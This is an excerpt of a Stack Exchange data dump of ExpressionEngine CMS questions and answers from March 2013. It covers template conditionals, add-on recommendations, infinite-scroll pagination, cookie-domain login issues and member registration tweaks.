  <row Id="7342" PostTypeId="2" ParentId="7341" CreationDate="2013-03-14T02:06:55.020" Score="2" Body="&lt;p&gt;You would need to write a query that queries the &lt;code&gt;exp_store_order_items&lt;/code&gt; joined with the &lt;code&gt;exp_store_orders&lt;/code&gt; table to grab the members email that &lt;code&gt;order_id&lt;/code&gt; matches the &lt;code&gt;entry_id&lt;/code&gt; in question.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2013-03-14T02:06:55.020" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7343" PostTypeId="2" ParentId="7291" CreationDate="2013-03-14T07:48:01.223" Score="3" Body="&lt;p&gt;From my experience, getting 404 or 403 errors after submitting a form is because of a &lt;code&gt;mod_security&lt;/code&gt; setting in Apache on the server. This isn't something EE can influence or circumvent, really.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can try to add this to your .htaccess file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_security.c&amp;gt;&#xA;  SecFilterEngine Off&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, this could result in an error 500 (Internal Server Error) if you're not allowed to turn the SecFilterEngine off. If that's the case, ask your host if &lt;code&gt;mod_security&lt;/code&gt; is enabled and if they could disable it. They could also add one or more exceptions to the &lt;code&gt;mod_security&lt;/code&gt; settings for your site instead of disabling it completely.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2013-03-14T07:48:01.223" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7344" PostTypeId="1" CreationDate="2013-03-14T08:52:38.090" Score="2" ViewCount="103" Body="&lt;p&gt;I was thinking of using EE for a restaurant review kind of website. Ideally, I would like to create the restaurants as entries and have the entire menu of each restaurant as a Martix in their entry. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next, I would like website members/visitors to rate individual dishes of a restaurant through star ratings (and possibly comment). There are quite a few ratings add-ons but they rate entries not rows in Matrix. Keep in mind that this should be done on the front-end and not CP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas if there is anything that could help me? Or possibly look at the above from a different prospect to get it to do what I want?&lt;/p&gt;&#xA;" OwnerUserId="992" LastActivityDate="2013-03-14T16:32:42.553" Title="An add-on to rate Matrix rows" Tags="|matrix|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7345" PostTypeId="2" ParentId="7340" CreationDate="2013-03-14T09:58:01.157" Score="0" Body="&lt;p&gt;I can't see why {count} isn't working but there is something that's wrong:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if:else}&#xA;{if count==4}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This should be:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{if:elseif count == 4}&amp;lt;-- Code Here --&amp;gt;{/if}&lt;/code&gt; or &lt;code&gt;{if:else}&amp;lt;-- Code here --&amp;gt;{/if}&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="687" LastActivityDate="2013-03-14T09:58:01.157" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7346" PostTypeId="2" ParentId="7321" CreationDate="2013-03-14T10:44:31.710" Score="1" Body="&lt;p&gt;This turned out to be a conflict with assets (&lt;a href=&quot;https://expressionengine.stackexchange.com/q/6583/150&quot;&gt;403 Error with Assets 2.0.5 and Freemember&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pastie.org/private/stx2abio8navxese2i4zq&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://pastie.org/private/stx2abio8navxese2i4zq&lt;/a&gt; has the fix in case anyone else comes across the bug and needs the fix.&lt;/p&gt;&#xA;" OwnerUserId="998" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2013-03-14T10:46:57.050" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7347" PostTypeId="2" ParentId="7326" CreationDate="2013-03-14T14:00:29.013" Score="2" Body="&lt;p&gt;I was able to figure out the issue. I used Updater to install Channel Images, and it did not automatically perform the Wygwam integration as outlined in the Channel Images installation steps: &lt;a href=&quot;http://www.devdemon.com/channel_images/#product_install&quot; rel=&quot;nofollow&quot;&gt;http://www.devdemon.com/channel_images/#product_install&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once I added the channelimages folder to the ckeditor plugins folder, it is working properly. Fail on my part for not reading the installation instructions and assuming Updater would handle everything for me.&lt;/p&gt;&#xA;" OwnerUserId="50" LastActivityDate="2013-03-14T14:00:29.013" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7348" PostTypeId="1" AcceptedAnswerId="7351" CreationDate="2013-03-14T14:44:19.053" Score="6" ViewCount="301" Body="&lt;p&gt;Using EE 2.5.5. I have a products channel with three category groups associated. How do I insure at least one category from each group is selected when the user adds or edits a product entry? Is there some form validation mechanism I missed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="1126" LastActivityDate="2013-03-14T16:14:00.510" Title="Forcing Categories in Publish Form" Tags="|control-panel|forms|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7349" PostTypeId="2" ParentId="7344" CreationDate="2013-03-14T14:49:17.403" Score="3" Body="&lt;p&gt;The way you describe your project there is a pretty strong case for defining your dishes as Matrix rows instead of entries as you described (ie, restaurants defined as an entry with a Matrix for the menu and each dish being a Matrix row). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, as an alternative you &lt;em&gt;could&lt;/em&gt; define dishes as fully-fledged entries and relate them to restaurants using a Playa field in the restaurant entry. This would allow you to use one of the rating add-ons that works with entries, but your menus would be more fragmented in the system and maybe less convenient/intuitive from a maintenance standpoint.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;But since ratable Matrix rows sounds like the best approach, take a look at &lt;a href=&quot;http://devot-ee.com/add-ons/vz-average&quot; rel=&quot;nofollow&quot;&gt;VZ Average&lt;/a&gt;&lt;/strong&gt;. I have not tried it but according to the docs it supports rating Matrix rows.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;VZ Average is a flexible and minimal framework for rating or tallying&#xA;  anything in EE that you can identify with an ID: a channel entry, a&#xA;  comment, a Matrix row, or anything else. A few possible uses for it&#xA;  include: star ratings, thumbs up/down ratings, flagging comments as&#xA;  offensive, voting on entries, etc.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I actually discovered this add-on just now and wish I had known about it earlier since I had a very similar project requirement and ended up building a custom module. Building the module was fun, but if I had known about VZ Average I would have at least tested it out!&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2013-03-14T16:32:42.553" LastActivityDate="2013-03-14T16:32:42.553" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="7350" PostTypeId="1" AcceptedAnswerId="7353" CreationDate="2013-03-14T15:07:57.533" Score="3" ViewCount="101" Body="&lt;p&gt;I want to uninstall Structure on a site. The navigation rarely ever changes, so a dynamically generated menu isn't necessary; the people maintaining the site have some knowhow, and content is used in multiple places; and finally, I want to use EE's inbuilt Pages module but I don't know that I can with Structure installed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other than hardcoding the navigation, and then making sure to set all &quot;static&quot; pages as Pages, what else do I need to do, to uninstall Structure?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm running EE 2.5.3, Structure 3.3.6.&lt;/p&gt;&#xA;" OwnerDisplayName="user800" LastActivityDate="2013-03-14T15:54:54.807" Title="Uninstalling Structure: preparations?" Tags="|ee2|structure|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7351" PostTypeId="2" ParentId="7348" CreationDate="2013-03-14T15:24:16.263" Score="5" Body="&lt;p&gt;Check out the very useful &lt;a href=&quot;http://devot-ee.com/add-ons/category-field&quot; rel=&quot;nofollow&quot;&gt;Category Field&lt;/a&gt; addon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the Devot:ee description: &quot;This field type allows you [to] organize your category groups as you would any other custom field type anywhere on your publish entries form.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could create one &quot;Category Field&quot; field for each of your 3 category groups and make these fields required in the channel field settings, which I believe would accomplish your goal. &lt;/p&gt;&#xA;" OwnerUserId="390" LastEditorUserId="390" LastEditDate="2013-03-14T15:44:49.133" LastActivityDate="2013-03-14T15:44:49.133" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7352" PostTypeId="1" AcceptedAnswerId="7364" CreationDate="2013-03-14T15:52:15.287" Score="2" ViewCount="193" Body="&lt;p&gt;I have a weird scenario where I am trying to edit my global template preferences. I change a simple dropdown or field, hit submit, and get a successful indicator (the green icon at the top of the screen) but the field has not changed. I output all template debugging and there doesn't seem to be any errors, but all changes are reverted to what they were before. I verified file permissions on database.php and config.php were 666. Any ideas why this might be happening?&lt;/p&gt;&#xA;" OwnerUserId="461" LastActivityDate="2013-03-14T19:43:47.390" Title="cannot edit global template preferences" Tags="|templates|database|permissions|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7353" PostTypeId="2" ParentId="7350" CreationDate="2013-03-14T15:54:54.807" Score="1" Body="&lt;p&gt;You can't use the native Pages module with Structure installed. You'll need to uninstall Structure before installing Pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd suggest making these change in a dev environment to CYA.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There shouldn't be anything more to do then uninstalling Structure, installing Pages, mapping URLs into Pages, setting up navigation, reworking anything in the templates as needed.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-03-14T15:54:54.807" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7354" PostTypeId="2" ParentId="7229" CreationDate="2013-03-14T15:59:22.087" Score="2" Body="&lt;p&gt;This looks like a bug which has plagued me since the early days of EE 2.0 beta, which is caused by a corrupted publish page layout. As far as I know, there hasn't been a fix, and I'm not even sure if there is a bug report for it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's quite hard to predict when it will happen. However, I've noticed these conditions are the perfect storm:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;An add-on you have installed adds a custom tab to the publish page (EE Forums, Solspace User, Champagne etc)&lt;/li&gt;&#xA;&lt;li&gt;You have customized the publish page (doesn't have to be the same channel the add-on adds a tab to)&lt;/li&gt;&#xA;&lt;li&gt;You upgrade either EE or the add-on in question (doesn't happen on every upgrade, seems to happen about 50% of the time for me).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Generally, the symptoms are a completely messed up publish page, and if you are a super admin, lots of PHP errors at the top of the page like this (depending on which add-on you have installed):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered&#xA;Severity: Notice&#xA;Message: Undefined index: rsvp__rsvp_total_seats&#xA;Filename: content/publish.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also sometimes javascript on the page is broken (e.g. client complains that Playa has stopped working).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, the only fix I have found is to reset the publish layout. If you can still see those buttons, just use the EE interface. Otherwise, you can empty out the &lt;code&gt;exp_layout_publish&lt;/code&gt; database table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, this isn't particularly good news, since the bug is only caused when you have customized the publish layout, and re-customizing it every time you upgrade EE isn't very fun. Unfortunately, I've never spent the time to work out why this happens, or see whether it has been reported to EllisLab (I always figured it would probably take years for a fix so wouldn't be worth my time).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because of this, I tend to avoid customizing the publish layout where possible. I've also stopped writing add-ons which add a tab to the publish page, since generally it triggers this bug and ends up with &lt;a href=&quot;http://devot-ee.com/add-ons/support/rsvp/viewthread/1352&quot; rel=&quot;nofollow&quot;&gt;people complaining about PHP errors&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry for the bad news if this is the same bug you're running into. Hopefully someone else here might know a real fix for the issue.&lt;/p&gt;&#xA;" OwnerUserId="150" LastEditorUserId="150" LastEditDate="2013-03-14T16:05:41.440" LastActivityDate="2013-03-14T16:05:41.440" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7355" PostTypeId="2" ParentId="7352" CreationDate="2013-03-14T16:12:20.150" Score="0" Body="&lt;p&gt;I suggest reuploading your Themes directory. It's possible something is missing or corrupted. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, look for JS errors in the console that might be causing an issue.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-03-14T16:12:20.150" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7356" PostTypeId="2" ParentId="7348" CreationDate="2013-03-14T16:14:00.510" Score="3" Body="&lt;p&gt;The &lt;a href=&quot;http://devot-ee.com/add-ons/bw-required-category&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;BW Required Category&lt;/strong&gt;&lt;/a&gt; addon will do the trick to makes categories required for specified channels.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-03-14T16:14:00.510" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7357" PostTypeId="2" ParentId="7340" CreationDate="2013-03-14T16:19:16.837" Score="0" Body="&lt;p&gt;Try writing the conditional like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{count}&quot; == &quot;4&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-03-14T16:19:16.837" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7358" PostTypeId="2" ParentId="7331" CreationDate="2013-03-14T16:27:58.480" Score="0" Body="&lt;p&gt;Sounds like your CSS reset code is removing the default styling for the sup tag. &lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-03-14T16:27:58.480" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7359" PostTypeId="1" AcceptedAnswerId="7370" CreationDate="2013-03-14T16:49:43.817" Score="1" ViewCount="258" Body="&lt;p&gt;I'm following another developer on a site and trying to speed it up. The functionality requires many entries to be displayed within a single document object. Previously, load times were abysmal so I've switched to pagination and I'm trying to implement infinite scroll to allow the rest of the pages to show in the same document object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems as though every thing is working correctly until infinite scroll tries to load the new pages. Once you scroll to the bottom it tries to load something but says it cant.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I missing here? Code to set it up is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;timeline&quot;&amp;gt;&#xA;{exp:channel:entries channel=&quot;stories&quot; orderby=&quot;story_year&quot; dynamic=&quot;no&quot; limit=&quot;20&quot; paginate=&quot;bottom&quot;}&#xA;    &amp;lt;article class=&quot;largeArticle gold&quot;&amp;gt; ...&#xA;    &amp;lt;/article&amp;gt;&#xA;&#xA;    {paginate}&#xA;    {if next_page} &#xA;        &amp;lt;div class=&quot;navigation&quot;&amp;gt;&#xA;            &amp;lt;a href=&quot;{auto_path}&quot; class=&quot;next&quot;&amp;gt;Show More&amp;lt;/a&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    {/if}&#xA;    {/paginate}&#xA;{/exp:channel:entries}&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the javascript is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;  $(document).ready(function(){&#xA;        $(&quot;#timeline&quot;).infinitescroll({&#xA;            navSelevtor : &quot;.navigation&quot;,&#xA;            nextSelector : &quot;a.next&quot;,&#xA;            itemSelector : &quot;.post&quot;,&#xA;            extractLink: true,&#xA;        });&#xA;  });&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can see this in action at &lt;a href=&quot;http://thinkx.net/clients/manship/index.php/timeline&quot; rel=&quot;nofollow&quot;&gt;http://thinkx.net/clients/manship/index.php/timeline&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help, I'm really stuck here.&lt;/p&gt;&#xA;" OwnerUserId="1085" LastActivityDate="2013-03-14T20:56:46.527" Title="Infinite scroll reaches the end, although there are more pages to show" Tags="|javascript|pagination|jquery|optimization|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7361" PostTypeId="2" ParentId="7109" CreationDate="2013-03-14T18:41:24.350" Score="1" Body="&lt;p&gt;Macxim - I just tested {if no_coparents} with great success here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries limit=&quot;10&quot;}&#xA;&amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;{exp:playa:coparents}&#xA;{if no_coparents}&#xA;no coparents&#xA;{/if}&#xA;parent entry id: {parent:entry_id}&amp;lt;br /&amp;gt;&#xA;{/exp:playa:coparents}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can I ask you to try this code in a template and see what results you get?  Just copy/paste the above into a template.  You may need a few recent tests with coparents and without.  I made this as minimal as possible to test it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please let me know if that helps!&lt;/p&gt;&#xA;" OwnerUserId="563" LastActivityDate="2013-03-14T18:41:24.350" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7362" PostTypeId="1" AcceptedAnswerId="7372" CreationDate="2013-03-14T18:57:03.750" Score="3" ViewCount="252" Body="&lt;p&gt;I have a login on my front end, if a member logs in and then clicks on a link to &quot;edit_this&quot; which is the shortcut to the back end to edit the entry, why do they have to login again on the back end?&lt;/p&gt;&#xA;" OwnerUserId="451" LastActivityDate="2013-03-15T08:19:29.560" Title="front end login" Tags="|control-panel|login|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7363" PostTypeId="2" ParentId="7330" CreationDate="2013-03-14T19:22:25.260" Score="1" Body="&lt;p&gt;Yes, while looking within the code I found that for some of these emails, the mailtype variable isn't being specified so for the HTML emails, you should put hack code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;email-&amp;gt;mailtype = 'html';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with email code.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-03-14T19:22:25.260" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7364" PostTypeId="2" ParentId="7352" CreationDate="2013-03-14T19:43:47.390" Score="5" Body="&lt;p&gt;I would suggest checking your config.php file and see if any of those global template preferences are explicitly set in your configs. If you are using FocusLab master config, I would check config.master.php and your individual environment configs.&lt;/p&gt;&#xA;" OwnerUserId="50" LastActivityDate="2013-03-14T19:43:47.390" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7365" PostTypeId="2" ParentId="7320" CreationDate="2013-03-14T19:43:58.187" Score="0" Body="&lt;p&gt;Steven,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can have the following code within a template (PHP allowed):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE =&amp;amp; get_instance();&#xA;$cache_type = 'all'; // It can be 'page' OR 'tag' OR 'db' OR 'sql' OR 'relationships'&#xA;$this-&amp;gt;EE-&amp;gt;functions-&amp;gt;clear_caching($cache_type, '', TRUE);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and schedule template URL call with CRON job. I think, this would be the simplest solution for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;For EE v2.+&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-03-14T19:43:58.187" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7366" PostTypeId="1" AcceptedAnswerId="7373" CreationDate="2013-03-14T20:13:09.887" Score="3" ViewCount="101" Body="&lt;p&gt;I have users who authenticate using Twitter and Facebook (using the Social Login add-on). Those users have no password.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this something I can test for using ExpressionEngine logic?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The obvious suspects don't seem to work, but it's not terribly surprising:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if password != &quot;&quot;}password == yes{/if}&#xA;{if password}password == yes{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="453" LastActivityDate="2013-03-15T00:01:20.730" Title="Can you test for a null password?" Tags="|password|authentication|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7367" PostTypeId="5" CreationDate="2013-03-14T20:13:49.743" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-03-14T20:13:49.743" LastActivityDate="2013-03-14T20:13:49.743" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7368" PostTypeId="4" CreationDate="2013-03-14T20:13:49.743" Score="0" Body="Working with member passwords." OwnerUserId="453" LastEditorUserId="453" LastEditDate="2013-03-14T21:08:39.617" LastActivityDate="2013-03-14T21:08:39.617" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7369" PostTypeId="1" CreationDate="2013-03-14T20:29:12.327" Score="2" ViewCount="150" Body="&lt;p&gt;We're working with a prospect who is a non-profit membership based organization. They have a website that they mainly use for:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Event listings and registrations (payments processed for events with different prices for different membership types)&lt;/li&gt;&#xA;&lt;li&gt;Business listing management (adding, editing, deleting, moderation)&lt;/li&gt;&#xA;&lt;li&gt;Membership management. Members are organizations with multiple employees. Memberships grant these organizations a certain number of seats at each event for no charge (included in their membership fee). Admins need ability to log payments for members and see which members are coming-due or past-due.&lt;/li&gt;&#xA;&lt;li&gt;Email newsletters and event invitations to member employees and previous event attendees&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;My questions are: Are there any add-ons we can take advantage of that would provide this functionality? If not, is there any other solution you know of that could provide this functionality that we could custom-integrate with EE?&lt;/p&gt;&#xA;" OwnerUserId="211" LastEditorUserId="211" LastEditDate="2013-03-15T00:09:48.407" LastActivityDate="2014-03-31T15:21:27.573" Title="Do you think EE is appropriate for a membership-based website with some more advanced functionality?" Tags="|add-on|members|email|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7370" PostTypeId="2" ParentId="7359" CreationDate="2013-03-14T20:56:46.527" Score="0" Body="&lt;p&gt;The problem is with my code when calling infinitescroll().&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The itemSelector needs to be the information that EE loops out. So in this case, it should be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;itemSelector : &quot;.largeArticle&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, all I need to do is get the footer timeline to work with it at the same time.&lt;/p&gt;&#xA;" OwnerUserId="1085" LastActivityDate="2013-03-14T20:56:46.527" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7371" PostTypeId="1" AcceptedAnswerId="7374" CreationDate="2013-03-14T21:42:10.443" Score="3" ViewCount="825" Body="&lt;p&gt;I'm working on a membership site for a Triathlon club (using Zoo Visitor).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem lies in that when a family registers to become members they all use the same email address (as their children may not have one yet) and I'm getting hit with EEs &quot;The email you chose is not available&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought about adding the extra member details as custom fields but we do need them to register as individuals in the system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to able to either:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;have a duplicate email address&lt;/li&gt;&#xA;&lt;li&gt;be able to leave the email address empty on some submissions&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I am currently looking to use some javascript to create a &quot;dummy&quot; email address from the timestamp for the other family members but I'm not sure how safe this will be. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone had this issue before and found a solution? Any ideas would be appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&lt;/p&gt;&#xA;" OwnerUserId="553" LastActivityDate="2013-05-11T16:55:20.097" Title="Allow duplicate emails/no email address on Member Registration" Tags="|members|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7372" PostTypeId="2" ParentId="7362" CreationDate="2013-03-14T23:56:55.663" Score="3" Body="&lt;p&gt;Most likely because they are logged in with &lt;code&gt;www.domain.com&lt;/code&gt; but visiting the cp with &lt;code&gt;domain.com&lt;/code&gt; or visa versa.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The solution is to adjust the Cookie settings for the EE install. Specifically, set a &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/admin/cookie_settings.html#cookie-domain&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Cookie Domain&lt;/strong&gt;&lt;/a&gt; so the member's logged in session will be used across both URLs.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-03-14T23:56:55.663" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7373" PostTypeId="2" ParentId="7366" CreationDate="2013-03-15T00:01:20.730" Score="2" Body="&lt;p&gt;From their &lt;a href=&quot;http://www.intoeetive.com/docs/social_login.html#userdata&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Docs&lt;/strong&gt;&lt;/a&gt;: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The contents of {password_block} is displayed only when password is&#xA;  empty.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So &lt;code&gt;{password_block} password == no{/password_block}&lt;/code&gt; should do the trick inside the &lt;code&gt;exp:social_login:add_userdata&lt;/code&gt; tag.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-03-15T00:01:20.730" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7374" PostTypeId="2" ParentId="7371" CreationDate="2013-03-15T00:36:16.370" Score="2" Body="&lt;p&gt;Do they absolutely have to be individual members of the site? If not, you could use Profile:Edit to create a &quot;Household&quot; or master account for the family, and then allow multiple profiles to be created for each subsequent family member. That way you could have one overall contact email address, but additional information per person?&lt;/p&gt;&#xA;" OwnerUserId="367" LastActivityDate="2013-03-15T00:36:16.370" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7375" PostTypeId="2" ParentId="7371" CreationDate="2013-03-15T01:21:12.050" Score="2" Body="&lt;p&gt;If you don't mind hacking the core, you can comment out lines &lt;code&gt;370-373&lt;/code&gt; to allow no email address &amp;amp; &lt;code&gt;418-423&lt;/code&gt; to allow duplicate email in the &lt;code&gt;system/expresssionengine/libraries/Validate.php&lt;/code&gt; file&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would just then make note of those changes in a safe place for future updates&lt;/p&gt;&#xA;" OwnerUserId="209" LastActivityDate="2013-03-15T01:21:12.050" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7376" PostTypeId="2" ParentId="7253" CreationDate="2013-03-15T03:00:55.920" Score="0" Body="&lt;p&gt;As Store is currently setup text modifiers (created in the CP or via input:custom_modifier_name tag parameters) don't allow for Store to adjust the price of the item. You would want to create a Variation (Single SKU) with the name of text_count or similar with something along the lines of &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1 = $1.00&#xA;2 = $2.00&#xA;3 = $3.00&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and so on until you have the max number of characters you want to allow a user to create. Then  in your template you could use input:custom_modifier_name to create a text field for every product that would allow the user to enter whatever text that you want to enter in. Then when you calculate the total of number characters in that field you would want to have a bit of Javascript that selects the hidden field text_count and adjust the select field to match the number of characters in your text field.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2013-03-15T03:00:55.920" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7377" PostTypeId="1" CreationDate="2013-03-15T03:24:46.763" Score="3" ViewCount="137" Body="&lt;p&gt;Can I add more than one bcc email address to the Expresso-Store Email Template? In case I can, should i use comma between the address'?&lt;/p&gt;&#xA;" OwnerUserId="1132" LastEditorUserId="28" LastEditDate="2013-03-15T22:00:12.463" LastActivityDate="2013-03-15T22:00:12.463" Title="Expresso-Store Email Template - more than 1 BCC address?" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
